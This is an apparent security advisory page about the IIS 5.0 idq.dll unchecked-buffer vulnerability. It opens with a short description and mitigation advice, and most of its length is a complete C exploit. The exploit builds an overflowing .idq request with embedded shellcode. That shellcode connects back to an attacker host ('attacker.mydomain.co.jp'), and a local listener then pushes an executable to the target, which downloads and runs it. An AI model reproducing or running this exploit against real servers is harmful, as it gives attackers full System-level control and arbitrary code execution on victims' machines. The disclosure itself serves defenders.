|
|
|
|
| |
As part of its installation process, IIS installs several ISAPI extensions - .dlls that provide extended functionality. Among these is idq.dll, which is a component of Index Server (known in Windows 2000 as Indexing Service) and provides support for administrative scripts (.ida files) and Internet Data Queries (.idq files).
A security vulnerability exists in idq.dll. This DLL contains an unchecked buffer in a section of code that handles input URLs. An attacker who could establish a web session with a server on which idq.dll is installed could conduct a buffer-overrun attack and execute code on the web server. Idq.dll runs in the System context, so exploiting the vulnerability would give the attacker complete control of the server and allow him to take any desired action on it.
The buffer overrun occurs before any indexing functionality is requested. As a result, even though idq.dll is a component of Index Server/Indexing Service, the service would not need to be running in order for an attacker to exploit the vulnerability. As long as the script mapping for .idq or .ida files were present and the attacker were able to establish a web session, he could exploit the vulnerability.
Clearly, this is a serious vulnerability, and Microsoft urges all customers to take action immediately. Customers who cannot install the patch can protect their systems by removing the script mappings for .idq and .ida files via the Internet Services Manager in IIS.
Below is an exploit code that can be used to test for the vulnerability.
For more details on patching this vulnerability, see our previous post:
Unchecked Buffer in Index Server ISAPI Extension Leads to Web Server Compromise. |
| |
Credit:
The information has been provided by fuq69rc and hsj.
|
| |
Exploit:
/*
IIS5.0 .idq overrun remote exploit
Programmed by hsj : 01.06.21
code flow:
overrun -> jmp or call ebx -> jmp 8 ->
check shellcode addr and jump to there ->
shellcode -> make back channel -> download & exec code
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>
#define RET 0x77e516de /* jmp or call ebx */
#define GMHANDLEA 0x77e56c42 /* Address of GetModuleHandleA */
#define GPADDRESS 0x77e59ac1 /* Address of GetProcAddress */
#define GMHANDLEA_OFFSET 24
#define GPADDRESS_OFFSET 61
#define OFFSET 234 /* exception handler offset */
#define NOP 0x41
#define MASKING 1
#if MASKING
#define PORTMASK 0x4141
#define ADDRMASK 0x41414141
#define PORTMASK_OFFSET 128
#define ADDRMASK_OFFSET 133
#endif
#define PORT 80
#define ADDR "attacker.mydomain.co.jp"
#define PORT_OFFSET 115
#define ADDR_OFFSET 120
unsigned char shellcode[]=
"\x5B\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x33\xC9\x41\x41\x33\xC0"
"\x51\x53\x83\xC3\x06\x88\x03\xB8\xDD\xCC\xBB\xAA\xFF\xD0\x59\x50"
"\x43\xE2\xEB\x33\xED\x8B\xF3\x5F\x33\xC0\x80\x3B\x2E\x75\x1E\x88"
"\x03\x83\xFD\x04\x75\x04\x8B\x7C\x24\x10\x56\x57\xB8\xDD\xCC\xBB"
"\xAA\xFF\xD0\x50\x8D\x73\x01\x45\x83\xFD\x08\x74\x03\x43\xEB\xD8"
"\x8D\x74\x24\x20\x33\xC0\x50\x40\x50\x40\x50\x8B\x46\xFC\xFF\xD0"
"\x8B\xF8\x33\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66"
"\xC7\x46\x02\xBB\xAA\xC7\x46\x04\x44\x33\x22\x11"
#if MASKING
"\x66\x81\x76\x02\x41\x41\x81\x76\x04\x41\x41\x41\x41"
#endif
"\x8B\x46\xF8\xFF\xD0\x33\xC0"
"\xC7\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07"
"\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\x8B\x46\xEC\xFF\xD0"
"\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57\x8B"
"\x46\xF4\xFF\xD0\x85\xC0\x7E\x0E\x50\x8D\x4E\x08\x51\x53\x8B\x46"
"\xE8\xFF\xD0\x90\xEB\xDC\x53\x8B\x46\xE4\xFF\xD0\x57\x8B\x46\xF0"
"\xFF\xD0\x33\xC0\x50\x56\x56\x8B\x46\xE0\xFF\xD0\x33\xC0\xFF\xD0";
unsigned char storage[]=
"\xEB\x02"
"\xEB\x4E"
"\xE8\xF9\xFF\xFF\xFF"
"msvcrt.ws2_32.socket.connect.recv.closesocket."
"_open._write._close._execl.";
unsigned char forwardjump[]=
"%u08eb";
unsigned char jump_to_shell[]=
"%uC033%uB866%u031F%u0340%u8BD8%u8B03"
"%u6840%uDB33%u30B3%uC303%uE0FF";
unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;
if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
int make_connection(char *address,int port)
{
struct sockaddr_in server,target;
int s,i,bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
memset((char *)&server,0,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = 0;
target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(address);
if(target.sin_addr.s_addr==0)
{
close(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctl(s,FIONBIO,&bf);
tv.tv_sec = 10;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
close(s);
return -3;
}
if(i==0)
{
close(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
close(s);
errno = bf;
return -5;
}
ioctl(s,FIONBIO,&bf);
return s;
}
int get_connection(int port)
{
struct sockaddr_in local,remote;
int lsock,csock,len,reuse_addr;
lsock = socket(AF_INET,SOCK_STREAM,0);
if(lsock<0)
{
perror("socket");
exit(1);
}
reuse_addr = 1;
if(setsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char *)&reuse_addr,sizeof(reuse_addr))<0)
{
perror("setsockopt");
close(lsock);
exit(1);
}
memset((char *)&local,0,sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(port);
local.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0)
{
perror("bind");
close(lsock);
exit(1);
}
if(listen(lsock,1)<0)
{
perror("listen");
close(lsock);
exit(1);
}
retry:
len = sizeof(remote);
csock = accept(lsock,(struct sockaddr *)&remote,&len);
if(csock<0)
{
if(errno!=EINTR)
{
perror("accept");
close(lsock);
exit(1);
}
else
goto retry;
}
close(lsock);
return csock;
}
int main(int argc,char *argv[])
{
int i,j,s,pid;
unsigned int cb;
unsigned short port;
char *p,buf[512],buf2[512],buf3[2048];
FILE *fp;
if(argc!=3)
{
printf("usage: $ %s ip file\n",argv[0]);
return -1;
}
if((fp=fopen(argv[2],"rb"))==0)
return -2;
if(!(cb=resolve(ADDR)))
return -3;
if((pid=fork())<0)
return -4;
if(pid)
{
fclose(fp);
s = make_connection(argv[1],80);
if(s<0)
{
printf("connect error:[%d].\n",s);
kill(pid,SIGTERM);
return -5;
}
j = strlen(shellcode);
*(unsigned int *)&shellcode[GMHANDLEA_OFFSET] = GMHANDLEA;
*(unsigned int *)&shellcode[GPADDRESS_OFFSET] = GPADDRESS;
port = htons(PORT);
#if MASKING
port ^= PORTMASK;
cb ^= ADDRMASK;
*(unsigned short *)&shellcode[PORTMASK_OFFSET] = PORTMASK;
*(unsigned int *)&shellcode[ADDRMASK_OFFSET] = ADDRMASK;
#endif
*(unsigned short *)&shellcode[PORT_OFFSET] = port;
*(unsigned int *)&shellcode[ADDR_OFFSET] = cb;
for(i=0;i<strlen(shellcode);i++)
{
if((shellcode[i]==0x0a)||
(shellcode[i]==0x0d)||
(shellcode[i]==0x3a))
break;
}
if(i!=j)
{
printf("bad portno or ip address...\n");
close(s);
kill(pid,SIGTERM);
return -6;
}
memset(buf,1,sizeof(buf));
p = &buf[OFFSET-2];
sprintf(p,"%s",forwardjump);
p += strlen(forwardjump);
*p++ = 1;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>0)&0xffff);
p += 4;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>16)&0xffff);
p += 4;
*p++ = 1;
sprintf(p,"%s",jump_to_shell);
memset(buf2,NOP,sizeof(buf2));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-strlen(storage)-1],storage,strlen(storage));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-1],shellcode,strlen(shellcode));
buf2[sizeof(buf2)-1] = 0;
sprintf(buf3,"GET /a.idq?%s=a HTTP/1.0\r\nShell: %s\r\n\r\n",buf,buf2);
write(s,buf3,strlen(buf3));
printf("---");
for(i=0;i<strlen(buf3);i++)
{
if((i%16)==0)
printf("\n");
printf("%02X ",buf3[i]&0xff);
}
printf("\n---\n");
wait(0);
sleep(1);
shutdown(s,2);
close(s);
printf("Done.\n");
}
else
{
s = get_connection(PORT);
j = 0;
while((i=fread(buf,1,sizeof(buf),fp)))
{
write(s,buf,i);
j += i;
printf(".");
fflush(stdout);
}
fclose(fp);
printf("\n%d bytes send...\n",j);
shutdown(s,2);
close(s);
}
return 0;
}
|
|
|
|
|
|
|